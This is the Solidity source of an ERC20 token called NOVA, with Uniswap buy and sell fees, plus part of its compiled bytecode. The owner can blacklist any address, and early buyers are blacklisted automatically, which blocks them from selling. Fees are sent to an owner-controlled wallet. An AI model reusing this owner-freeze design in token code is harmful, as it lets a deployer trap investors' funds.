interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract NOVA is ERC20, Ownable {
using SafeMath for uint256;
address public constant DEAD_ADDRESS = address(0xdead);
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uint256 public buyLiquidityFee = 1;
uint256 public sellLiquidityFee = 1;
uint256 public buyTxFee = 3;
uint256 public sellTxFee = 7;
uint256 public defaultSellLiquidityFee = 1;
uint256 public defaultSellTxFee = 7;
uint256 public tokensForLiquidity;
uint256 public tokensForTax;
uint256 public _tTotal = 10**9 * 10**9; // 1 billion
uint256 public swapAtAmount = _tTotal.mul(50).div(10000); // 0.10% of total supply
uint256 public maxTxLimit = _tTotal; // 0.5% of total supply set in open trading
uint256 public maxWalletLimit = _tTotal; // 1% of total supply set in open trading
address private dev;
address private liquidity;
address public uniswapV2Pair;
uint256 public launchBlock;
bool private swapping;
bool public isLaunched;
bool private cooldownEnabled = false;
bool private useBuyMap = true;
// exclude from fees
mapping (address => bool) public isExcludedFromFees;
// exclude from max transaction amount
mapping (address => bool) public isExcludedFromTxLimit;
// exclude from max wallet limit
mapping (address => bool) public isExcludedFromWalletLimit;
// if the account is blacklisted from transacting
mapping (address => bool) public isBlacklisted;
// buy map for timed sell tax
mapping (address => uint256) public _buyMap;
// mapping for cooldown
mapping (address => uint) public cooldown;
constructor() public ERC20("NOVA", "NOVA") {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), type(uint256).max);
// exclude from fees, wallet limit and transaction limit
excludeFromAllLimits(owner(), true);
excludeFromAllLimits(address(this), true);
excludeFromWalletLimit(uniswapV2Pair, true);
dev = payable(0x3b2510869a7c0829293C071beA347Cf5F95CC25f);
liquidity = payable(0x3b2510869a7c0829293C071beA347Cf5F95CC25f);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(owner(), _tTotal);
}
function excludeFromFees(address account, bool value) public onlyOwner() {
require(isExcludedFromFees[account] != value, "Fees: Already set to this value");
isExcludedFromFees[account] = value;
}
function excludeFromTxLimit(address account, bool value) public onlyOwner() {
require(isExcludedFromTxLimit[account] != value, "TxLimit: Already set to this value");
isExcludedFromTxLimit[account] = value;
}
function excludeFromWalletLimit(address account, bool value) public onlyOwner() {
require(isExcludedFromWalletLimit[account] != value, "WalletLimit: Already set to this value");
isExcludedFromWalletLimit[account] = value;
}
function excludeFromAllLimits(address account, bool value) public onlyOwner() {
excludeFromFees(account, value);
excludeFromTxLimit(account, value);
excludeFromWalletLimit(account, value);
}
function setBuyFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() {
require(liquidityFee.add(txFee) <= 4, "Total buy fee can not be more than 4%");
buyLiquidityFee = liquidityFee;
buyTxFee = txFee;
}
function setSellFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() {
require(liquidityFee.add(txFee) <= 8, "Total sell fee can not be more than 8%");
sellLiquidityFee = liquidityFee;
sellTxFee = txFee;
defaultSellLiquidityFee = liquidityFee;
defaultSellTxFee = txFee;
}
function setCooldownEnabled(bool _enabled) external onlyOwner() {
cooldownEnabled = _enabled;
}
function setUseBuyMap(bool _enabled) external onlyOwner() {
useBuyMap = _enabled;
}
function setMaxTxLimit(uint256 newLimit) external onlyOwner() {
require(newLimit > 0, "Max tx can not be 0");
maxTxLimit = newLimit * (10**9);
}
function setMaxWalletLimit(uint256 newLimit) external onlyOwner() {
require(newLimit > 0, "Max wallet can not be 0");
maxWalletLimit = newLimit * (10**9);
}
function setSwapAtAmount(uint256 amountToSwap) external onlyOwner() {
swapAtAmount = amountToSwap * (10**9);
}
function updateDevWallet(address newWallet) external onlyOwner() {
dev = newWallet;
}
function updateLiqWallet(address newWallet) external onlyOwner() {
liquidity = newWallet;
}
function addBlacklist(address account) external onlyOwner() {
require(!isBlacklisted[account], "Blacklist: Already blacklisted");
require(account != uniswapV2Pair, "Cannot blacklist pair");
_setBlacklist(account, true);
}
function removeBlacklist(address account) external onlyOwner() {
require(isBlacklisted[account], "Blacklist: Not blacklisted");
_setBlacklist(account, false);
}
function manualswap() external onlyOwner() {
uint256 totalTokensForFee = tokensForLiquidity + tokensForTax;
swapBack(totalTokensForFee);
}
function manualsend() external onlyOwner(){
uint256 contractETHBalance = address(this).balance;
payable(address(dev)).transfer(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!isLaunched, "Contract is already launched");
isLaunched = true;
launchBlock = block.number;
cooldownEnabled = true;
maxTxLimit = _tTotal.mul(50).div(10000);
maxWalletLimit = _tTotal.mul(100).div(10000);
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "transfer from the zero address");
require(to != address(0), "transfer to the zero address");
require(amount <= maxTxLimit || isExcludedFromTxLimit[from] || isExcludedFromTxLimit[to], "Tx Amount too large");
require(balanceOf(to).add(amount) <= maxWalletLimit || isExcludedFromWalletLimit[to], "Transfer will exceed wallet limit");
require(isLaunched || isExcludedFromFees[from] || isExcludedFromFees[to], "Waiting to go live");
require(!isBlacklisted[from], "Sender is blacklisted");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
uint256 totalTokensForFee = tokensForLiquidity + tokensForTax;
bool canSwap = totalTokensForFee >= swapAtAmount;
if(
from != uniswapV2Pair &&
canSwap &&
!swapping
) {
swapping = true;
swapBack(totalTokensForFee);
swapping = false;
} else if(
from == uniswapV2Pair &&
to != uniswapV2Pair &&
block.number < launchBlock + 3 &&
!isExcludedFromFees[to]
) {
_setBlacklist(to, true);
}
bool takeFee = !swapping;
if(isExcludedFromFees[from] || isExcludedFromFees[to]) {
takeFee = false;
}
if(takeFee) {
uint256 fees;
// Sell Fees
if (to == uniswapV2Pair) {
sellLiquidityFee = defaultSellLiquidityFee;
sellTxFee = defaultSellTxFee;
uint256 sellTotalFees = sellLiquidityFee.add(sellTxFee);
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity = tokensForLiquidity.add(fees.mul(sellLiquidityFee).div(sellTotalFees));
tokensForTax = tokensForTax.add(fees.mul(sellTxFee).div(sellTotalFees));
}
// Buy & Transfer Fees
else {
if(cooldownEnabled){
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (useBuyMap && _buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
uint256 buyTotalFees = buyLiquidityFee.add(buyTxFee);
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity = tokensForLiquidity.add(fees.mul(buyLiquidityFee).div(buyTotalFees));
tokensForTax = tokensForTax.add(fees.mul(buyTxFee).div(buyTotalFees));
}
if(fees > 0){
super._transfer(from, address(this), fees);
amount = amount.sub(fees);
}
}
super._transfer(from, to, amount);
}
function swapBack(uint256 totalTokensForFee) private {
uint256 toSwap = swapAtAmount;
// Halve the amount of liquidity tokens
uint256 liquidityTokens = toSwap.mul(tokensForLiquidity).div(totalTokensForFee).div(2);
uint256 taxTokens = toSwap.sub(liquidityTokens).sub(liquidityTokens);
uint256 amountToSwapForETH = toSwap.sub(liquidityTokens);
_swapTokensForETH(amountToSwapForETH);
uint256 ethBalance = address(this).balance;
uint256 ethForTax = ethBalance.mul(taxTokens).div(amountToSwapForETH);
uint256 ethForLiquidity = ethBalance.sub(ethForTax);
tokensForLiquidity = tokensForLiquidity.sub(liquidityTokens.mul(2));
tokensForTax = tokensForTax.sub(toSwap.sub(liquidityTokens.mul(2)));
payable(address(dev)).transfer(ethForTax);
_addLiquidity(liquidityTokens, ethForLiquidity);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
liquidity,
block.timestamp
);
}
function _swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _setBlacklist(address account, bool value) internal {
isBlacklisted[account] = value;
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent){
require(_token != address(this), "Can't withdraw native tokens");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
}
receive() external payable {}
}
|
0x60806040526004361061031e5760003560e01c80638036d590116101ab578063c0246668116100f7578063e6acd7e511610095578063f11a24d31161006f578063f11a24d314610b0c578063f637434214610b21578063fb0ecfa414610b36578063fe575a8714610b6657610325565b8063e6acd7e514610aaf578063e9b786cb14610ac4578063eb91e65114610ad957610325565b8063cd49513f116100d1578063cd49513f146109e9578063d00efb2f14610a24578063dd62ed3e14610a39578063e16830a814610a7457610325565b8063c024666814610984578063c3c8cd80146109bf578063c9567bf9146109d457610325565b80639cfe42da11610164578063af465a271161013e578063af465a27146108d6578063b222e0c2146108eb578063b40f94691461091e578063bf95793d1461095157610325565b80639cfe42da1461083e578063a1addd9514610871578063a9059cbb1461089d57610325565b80638036d5901461079a5780638366e79a146107af57806386917524146107ea5780638da5cb5b146107ff578063904236d11461081457806395d89b411461082957610325565b80634fbee1931161026a5780636d7adcad11610223578063715018a6116101fd578063715018a6146106f5578063728d41c91461070a57806373dd858c146107345780637f2feddc1461076757610325565b80636d7adcad146106985780636fc3eaec146106ad57806370a08231146106c257610325565b80634fbee193146105a05780635932ead1146105d35780636402511e146105ff57806364f5a5bb1461062957806366a88d96146106535780636ac9a8701461066857610325565b806323b872dd116102d7578063307aebc9116102b1578063307aebc914610536578063313ce5671461054b57806349bd5a5e146105765780634e6fd6c41461058b57610325565b806323b872dd146104a35780632d3aecc9146104e657806330280a71146104fb57610325565b806306fdde031461032a578063095ea7b3146103b45780631694505e1461040157806318160ddd146104325780631816467f146104595780631a8145bb1461048e57610325565b3661032557005b600080fd5b34801561033657600080fd5b5061033f610b99565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610379578181015183820152602001610361565b50505050905090810190601f1680156103a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103c057600080fd5b506103ed600480360360408110156103d757600080fd5b506001600160a01b038135169060200135610c2f565b604080519115158252519081900360200190f35b34801561040d57600080fd5b50610416610c4d565b604080516001600160a01b039092168252519081900360200190f35b34801561043e57600080fd5b50610447610c65565b60408051918252519081900360200190f35b34801561046557600080fd5b5061048c6004803603602081101561047c57600080fd5b50356001600160a01b0316610c6b565b005b34801561049a57600080fd5b50610447610ce5565b3480156104af57600080fd5b506103ed600480360360608110156104c657600080fd5b506001600160a01b03813581169160208101359091169060400135610ceb565b3480156104f257600080fd5b50610447610d72565b34801561050757600080fd5b5061048c6004803603604081101561051e57600080fd5b506001600160a01b0381351690602001351515610d78565b34801561054257600080fd5b506103ed610e59565b34801561055757600080fd5b50610560610e67565b6040805160ff9092168252519081900360200190f35b34801561058257600080fd5b50610416610e6c565b34801561059757600080fd5b50610416610e7b565b3480156105ac57600080fd5b506103ed600480360360208110156105c357600080fd5b50356001600160a01b0316610e81565b3480156105df57600080fd5b5061048c600480360360208110156105f657600080fd5b50351515610e96565b34801561060b57600080fd5b5061048c6004803603602081101561062257600080fd5b5035610f0a565b34801561063557600080fd5b5061048c6004803603602081101561064c57600080fd5b5035610f6d565b34801561065f57600080fd5b5061044761101b565b34801561067457600080fd5b5061048c6004803603604081101561068b57600080fd5b5080359060200135611021565b3480156106a457600080fd5b506104476110d7565b3480156106b957600080fd5b5061048c6110dd565b3480156106ce57600080fd5b50610447600480360360208110156106e557600080fd5b50356001600160a01b0316611173565b34801561070157600080fd5b5061048c61118e565b34801561071657600080fd5b5061048c6004803603602081101561072d57600080fd5b5035611230565b34801561074057600080fd5b5061048c6004803603602081101561075757600080fd5b50356001600160a01b03166112e8565b34801561077357600080fd5b506104476004803603602081101561078a57600080fd5b50356001600160a01b0316611362565b3480156107a657600080fd5b50610447611374565b3480156107bb57600080fd5b506103ed600480360360408110156107d257600080fd5b506001600160a01b038135811691602001351661137a565b3480156107f657600080fd5b50610447611537565b34801561080b57600080fd5b5061041661153d565b34801561082057600080fd5b5061044761154c565b34801561083557600080fd5b5061033f611552565b34801561084a57600080fd5b5061048c6004803603602081101561086157600080fd5b50356001600160a01b03166115b3565b34801561087d57600080fd5b5061048c6004803603602081101561089457600080fd5b503515156116e2565b3480156108a957600080fd5b506103ed600480360360408110156108c057600080fd5b506001600160a01b038135169060200135611758565b3480156108e257600080fd5b5061044761176c565b3480156108f757600080fd5b506104476004803603602081101561090e57600080fd5b50356001600160a01b0316611772565b34801561092a57600080fd5b506103ed6004803603602081101561094157600080fd5b50356001600160a01b0316611784565b34801561095d57600080fd5b506103ed6004803603602081101561097457600080fd5b50356001600160a01b0316611799565b34801561099057600080fd5b5061048c600480360360408110156109a757600080fd5b506001600160a01b03813516906020013515156117ae565b3480156109cb57600080fd5b5061048c6118a5565b3480156109e057600080fd5b5061048c61190d565b3480156109f557600080fd5b5061048c60048036036040811015610a0c57600080fd5b506001600160a01b0381351690602001351515611a1c565b348015610a3057600080fd5b50610447611a92565b348015610a4557600080fd5b5061044760048036036040811015610a5c57600080fd5b506001600160a01b0381358116916020013516611a98565b348015610a8057600080fd5b5061048c60048036036040811015610a9757600080fd5b506001600160a01b0381351690602001351515611ac3565b348015610abb57600080fd5b50610447611ba4565b348015610ad057600080fd5b50610447611baa565b348015610ae557600080fd5b5061048c60048036036020811015610afc57600080fd5b50356001600160a01b0316611bb0565b348015610b1857600080fd5b50610447611c80565b348015610b2d57600080fd5b50610447611c86565b348015610b4257600080fd5b5061048c60048036036040811015610b5957600080fd5b5080359060200135611c8c565b348015610b7257600080fd5b506103ed60048036036020811015610b8957600080fd5b50356001600160a01b0316611d38565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c255780601f10610bfa57610100808354040283529160200191610c25565b820191906000526020600020905b815481529060010190602001808311610c0857829003601f168201915b5050505050905090565b6000610c43610c3c611e49565b8484611e4d565b5060015b92915050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60025490565b610c73611e49565b6005546001600160a01b03908116911614610cc3576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b600d5481565b6000610cf8848484611f39565b610d6884610d04611e49565b610d6385604051806060016040528060288152602001612c2f602891396001600160a01b038a16600090815260016020526040812090610d42611e49565b6001600160a01b031681526020810191909152604001600020549190612511565b611e4d565b5060019392505050565b600c5481565b610d80611e49565b6005546001600160a01b03908116911614610dd0576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526019602052604090205460ff1615158115151415610e2e5760405162461bcd60e51b8152600401808060200182810382526022815260200180612bc66022913960400191505060405180910390fd5b6001600160a01b03919091166000908152601960205260409020805460ff1916911515919091179055565b601754610100900460ff1681565b600990565b6015546001600160a01b031681565b61dead81565b60186020526000908152604090205460ff1681565b610e9e611e49565b6005546001600160a01b03908116911614610eee576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b60178054911515620100000262ff000019909216919091179055565b610f12611e49565b6005546001600160a01b03908116911614610f62576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b633b9aca0002601055565b610f75611e49565b6005546001600160a01b03908116911614610fc5576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b60008111611010576040805162461bcd60e51b815260206004820152601360248201527204d61782074782063616e206e6f74206265203606c1b604482015290519081900360640190fd5b633b9aca0002601155565b60125481565b611029611e49565b6005546001600160a01b03908116911614611079576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b60086110858383611def565b11156110c25760405162461bcd60e51b8152600401808060200182810382526026815260200180612be86026913960400191505060405180910390fd5b6008829055600a819055600b91909155600c55565b600e5481565b6110e5611e49565b6005546001600160a01b03908116911614611135576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b60135460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561116f573d6000803e3d6000fd5b5050565b6001600160a01b031660009081526020819052604090205490565b611196611e49565b6005546001600160a01b039081169116146111e6576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b611238611e49565b6005546001600160a01b03908116911614611288576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b600081116112dd576040805162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c65742063616e206e6f742062652030000000000000000000604482015290519081900360640190fd5b633b9aca0002601255565b6112f0611e49565b6005546001600160a01b03908116911614611340576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b601480546001600160a01b0319166001600160a01b0392909216919091179055565b601c6020526000908152604090205481565b60115481565b6000611384611e49565b6005546001600160a01b039081169116146113d4576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b6001600160a01b038316301415611432576040805162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e7300000000604482015290519081900360640190fd5b6000836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561148157600080fd5b505afa158015611495573d6000803e3d6000fd5b505050506040513d60208110156114ab57600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0386811660048301526024820184905291519293509086169163a9059cbb916044808201926020929091908290030181600087803b15801561150357600080fd5b505af1158015611517573d6000803e3d6000fd5b505050506040513d602081101561152d57600080fd5b5051949350505050565b60105481565b6005546001600160a01b031690565b600a5481565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c255780601f10610bfa57610100808354040283529160200191610c25565b6115bb611e49565b6005546001600160a01b0390811691161461160b576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b6001600160a01b0381166000908152601b602052604090205460ff1615611679576040805162461bcd60e51b815260206004820152601e60248201527f426c61636b6c6973743a20416c726561647920626c61636b6c69737465640000604482015290519081900360640190fd5b6015546001600160a01b03828116911614156116d4576040805162461bcd60e51b815260206004820152601560248201527421b0b73737ba10313630b1b5b634b9ba103830b4b960591b604482015290519081900360640190fd5b6116df8160016125a8565b50565b6116ea611e49565b6005546001600160a01b0390811691161461173a576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b6017805491151563010000000263ff00000019909216919091179055565b6000610c43611765611e49565b8484611f39565b600f5481565b601d6020526000908152604090205481565b601a6020526000908152604090205460ff1681565b60196020526000908152604090205460ff1681565b6117b6611e49565b6005546001600160a01b03908116911614611806576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526018602052604090205460ff161515811515141561187a576040805162461bcd60e51b815260206004820152601f60248201527f466565733a20416c72656164792073657420746f20746869732076616c756500604482015290519081900360640190fd5b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6118ad611e49565b6005546001600160a01b039081169116146118fd576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b600e54600d54016116df816125d3565b611915611e49565b6005546001600160a01b03908116911614611965576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b601754610100900460ff16156119c2576040805162461bcd60e51b815260206004820152601c60248201527f436f6e747261637420697320616c7265616479206c61756e6368656400000000604482015290519081900360640190fd5b601780544360165562ff00001961ff0019909116610100171662010000179055600f546119fe90612710906119f8906032611d4d565b90611dad565b601155600f54611a1790612710906119f8906064611d4d565b601255565b611a24611e49565b6005546001600160a01b03908116911614611a74576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b611a7e82826117ae565b611a888282610d78565b61116f8282611ac3565b60165481565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b611acb611e49565b6005546001600160a01b03908116911614611b1b576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b6001600160a01b0382166000908152601a602052604090205460ff1615158115151415611b795760405162461bcd60e51b8152600401808060200182810382526026815260200180612d066026913960400191505060405180910390fd5b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b600b5481565b60095481565b611bb8611e49565b6005546001600160a01b03908116911614611c08576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b6001600160a01b0381166000908152601b602052604090205460ff16611c75576040805162461bcd60e51b815260206004820152601a60248201527f426c61636b6c6973743a204e6f7420626c61636b6c6973746564000000000000604482015290519081900360640190fd5b6116df8160006125a8565b60075481565b60085481565b611c94611e49565b6005546001600160a01b03908116911614611ce4576040805162461bcd60e51b81526020600482018190526024820152600080516020612c57833981519152604482015290519081900360640190fd5b6004611cf08383611def565b1115611d2d5760405162461bcd60e51b8152600401808060200182810382526025815260200180612c986025913960400191505060405180910390fd5b600791909155600955565b601b6020526000908152604090205460ff1681565b600082611d5c57506000610c47565b82820282848281611d6957fe5b0414611da65760405162461bcd60e51b8152600401808060200182810382526021815260200180612c0e6021913960400191505060405180910390fd5b9392505050565b6000611da683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126d9565b600082820183811015611da6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b6001600160a01b038316611e925760405162461bcd60e51b8152600401808060200182810382526024815260200180612ce26024913960400191505060405180910390fd5b6001600160a01b038216611ed75760405162461bcd60e51b8152600401808060200182810382526022815260200180612b7e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611f94576040805162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015290519081900360640190fd5b6001600160a01b038216611fef576040805162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015290519081900360640190fd5b6011548111158061201857506001600160a01b03831660009081526019602052604090205460ff165b8061203b57506001600160a01b03821660009081526019602052604090205460ff165b612082576040805162461bcd60e51b8152602060048201526013602482015272547820416d6f756e7420746f6f206c6172676560681b604482015290519081900360640190fd5b6012546120988261209285611173565b90611def565b1115806120bd57506001600160a01b0382166000908152601a602052604090205460ff165b6120f85760405162461bcd60e51b8152600401808060200182810382526021815260200180612c776021913960400191505060405180910390fd5b601754610100900460ff168061212657506001600160a01b03831660009081526018602052604090205460ff165b8061214957506001600160a01b03821660009081526018602052604090205460ff165b61218f576040805162461bcd60e51b815260206004820152601260248201527157616974696e6720746f20676f206c69766560701b604482015290519081900360640190fd5b6001600160a01b0383166000908152601b602052604090205460ff16156121f5576040805162461bcd60e51b815260206004820152601560248201527414d95b99195c881a5cc8189b1858dadb1a5cdd1959605a1b604482015290519081900360640190fd5b8061220b576122068383600061273e565b61250c565b600e54600d546010546015549190920191821015906001600160a01b038681169116148015906122385750805b8015612247575060175460ff16155b15612271576017805460ff19166001179055612262826125d3565b6017805460ff191690556122e1565b6015546001600160a01b03868116911614801561229c57506015546001600160a01b03858116911614155b80156122ac575060165460030143105b80156122d157506001600160a01b03841660009081526018602052604090205460ff16155b156122e1576122e18460016125a8565b6017546001600160a01b03861660009081526018602052604090205460ff9182161591168061232857506001600160a01b03851660009081526018602052604090205460ff165b15612331575060005b80156124fd576015546000906001600160a01b03878116911614156123d157600b546008819055600c54600a81905560009161236c91611def565b905061237d60646119f88884611d4d565b91506123a461239b826119f860085486611d4d90919063ffffffff16565b600d5490611def565b600d55600a546123c8906123bf9083906119f8908690611d4d565b600e5490611def565b600e55506124dd565b60175462010000900460ff1615612425576001600160a01b0386166000908152601d6020526040902054421161240657600080fd5b6001600160a01b0386166000908152601d60205260409020601e420190555b6017546301000000900460ff16801561245457506001600160a01b0386166000908152601c6020526040902054155b15612475576001600160a01b0386166000908152601c602052604090204290555b600061248e600954600754611def90919063ffffffff16565b905061249f60646119f88884611d4d565b91506124bd61239b826119f860075486611d4d90919063ffffffff16565b600d556009546124d8906123bf9083906119f8908690611d4d565b600e55505b80156124fb576124ee87308361273e565b6124f88582612899565b94505b505b61250886868661273e565b5050505b505050565b600081848411156125a05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561256557818101518382015260200161254d565b50505050905090810190601f1680156125925780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6000601054905060006125fa60026119f8856119f8600d5487611d4d90919063ffffffff16565b905060006126128261260c8582612899565b90612899565b905060006126208484612899565b905061262b816128db565b47600061263c836119f88487611d4d565b9050600061264a8383612899565b905061266361265a876002611d4d565b600d5490612899565b600d5561268761267e61267788600261